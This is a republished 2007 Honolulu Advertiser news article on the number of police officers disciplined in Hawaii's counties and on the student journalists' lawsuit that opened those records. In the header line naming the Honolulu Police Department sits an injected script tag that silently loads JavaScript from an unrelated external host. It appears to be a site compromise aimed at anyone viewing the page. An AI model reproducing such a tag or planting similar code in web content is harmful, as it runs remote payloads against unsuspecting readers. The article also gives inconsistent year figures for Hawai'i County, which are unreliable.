NEWS > 26 February 2007

Article sourced from

Honolulu Police Department, HI<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Honolulu Advertiser - Honolulu
26 February 2007

This article appeared in the above title/site.
To view it in its entirity click this link.

Honolulu Police Department, HI

Punished Honolulu officers at

The number of Honolulu police officers punished by the department for breaking the law or department regulations last year hit the lowest total in six years. None were fired.

The number of officers disciplined in 2006 represents less than 2 percent of HPD's force of nearly 2,000 officers.

Three officers were suspended for 20 days and four for 10 days.

The statistics come from a report submitted each year to the Legislature. The reports have been mandatory since 1995 under a state law stemming from a challenge by a University of Hawai'i student journalism group seeking more openness with police disciplinary records.

HPD's submission to the Legislature covers a 12-month period.

The State of Hawai'i Organization of Police Officers would not discuss specific discipline cases, citing confidentiality laws.

Police do not release details of the cases, and the identities of disciplined officers are kept confidential under state law and the counties' contract with the police union.

In the most severe cases, Honolulu police officers were punished for a variety of infractions including:

Falsifying a police report and fabricating facts to justify a traffic stop.

Sexually harassing another officer.

Using excessive force and falsifying a police report.

Assaulting another officer.

"For a department of our size, we're doing well," said Honolulu Police Chief Boisse P. Correa. "Ideally we'd like to not have to discipline any officers. We feel like one is too many. The disciplinary actions may not be popular, but we'll do the right thing."

Compared to similar-sized metropolitan police departments in Mainland cities, the number of officers punished for misbehavior in Honolulu is relatively low, law enforcement observers point out.

"Part of what creates (discipline) problems with police officers is the tension in the community or the hostility in the community toward the police. That tension makes officers more stiff and prone to react with aggression," said Alfred Blumstein, a criminal justice expert at the Heinz School at Carnegie-Mellon University.

"If there is a pretty good relationship with the community, then everyone is a lot more relaxed in those encounters. You don't have the ethnics gap that we do (on the Mainland). Compared to comparable Mainland jurisdictions, your police discipline is not bad."

Some of the suspensions handed out in Honolulu last year may have stemmed from infractions as far back as five years. The process of appealing a suspension, filing a grievance with the union, and the actual investigation of a case can take a long time.

WHAT'S MISSING

Four police officers indicted last year after an FBI investigation revealed they had helped protect illegal cockfights on O'ahu's North Shore did not show up in the reports because they either resigned or their cases are still under investigation by the department.

Also, more than 35 people were named in a series of indictments returned by a federal grand jury last year that resulted from a two-year FBI investigation into alleged public corruption. The investigation was based largely on federal court-ordered wiretaps and also resulted in indictments against others for alleged extortion and distribution of illegal drugs.

The department started an internal department probe focusing on dozens of officers as a result of the FBI case, and results of that investigation will be released later this year.

On the Neighbor Islands, three of the 10 officers disciplined on Maui were terminated, compared with nine officers last year. The Maui County police department employs about 300 officers.

One of the fired officers tested positive for drugs during a random screening on Sept. 23, 2005. Another officer was terminated for failing to "take command at a scene and take decisive action," violating more than a dozen department regulations in the process, according to the report.

The third officer who was fired lied about his background to supervisors.

"It's our philosophy that whenever an officer is suspended or terminated, it is for the good of the department and the community," said Maui police Deputy Chief Gary A. Yabuta.

"We don't consider whatever amount of suspensions and terminations we have as a good year or a bad year. We treat each as a very serious matter. Whether it be one a year or five a year, we never consider it a good year when we have to terminate an employee."

For the second year in a row, Kaua'i County, with about 90 officers, did not discipline a single officer in 2006, according to a letter sent to state Senate President Colleen Hanabusa from Kaua'i County police Chief Clayton K. Arinaga.

The department did not discipline an officer in 2005 and did not submit a report to the Legislature in 2004.

"I understand we have an obligation to submit an annual report to the Legislature, and to the extent that we can accommodate that, we will. This year, since I was entrusted with this position, I made sure we were in compliance with that mandate," Arinaga said.

"As far as disciplinary action, we need to give assurances to the community that we maintain the integrity of the department and we are responsive to the needs and the concerns of the community."

BIG ISLE NUMBERS DOWN

Hawai'i County Police punished 18 officers last year, down from 26 in 2006.

It is not clear, according to the report, how many officers were disciplined.

Chief Lawrence K. Mahuna could not be reached for comment.

The public information about disciplined officers, including their names and a brief synopsis of the events that led to suspension, was made possible by a group of student journalists who waged a 3 1/2-year legal battle to have the information made public.

The Hawai'i Supreme Court ruled Nov. 15, 1997, that the county police departments should have provided the University of Hawai'i chapter of the Society of Professional Journalists the names of disciplined police officers when the student group first asked for the names in 1993.

At the time, SHOPO argued that language in its collective bargaining agreements with the four Hawai'i counties prohibited the release of disciplinary information.

The unanimous decision by the state Supreme Court, however, said public workers' unions cannot reach agreements with the government that interfere with the public's right to know about disciplinary matters.

Since July 1995, police have been required to disclose only the names of police officers fired for misconduct but not those who are suspended.

At least 30 states allow partial or complete public access to police discipline records.

"It highlights to the public that the departments are sensitive to these issues," Blumstein said. "The Legislature is in effect saying, show us you're sensitive; we're not going to scrutinize your sensitivity too carefully, but file a report just so we know you're paying attention to these issues."

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Honolulu Advertiser - Honolulu26 February 2007

Punished Honolulu officers at

EiP Comments:

Honolulu Advertiser - Honolulu
26 February 2007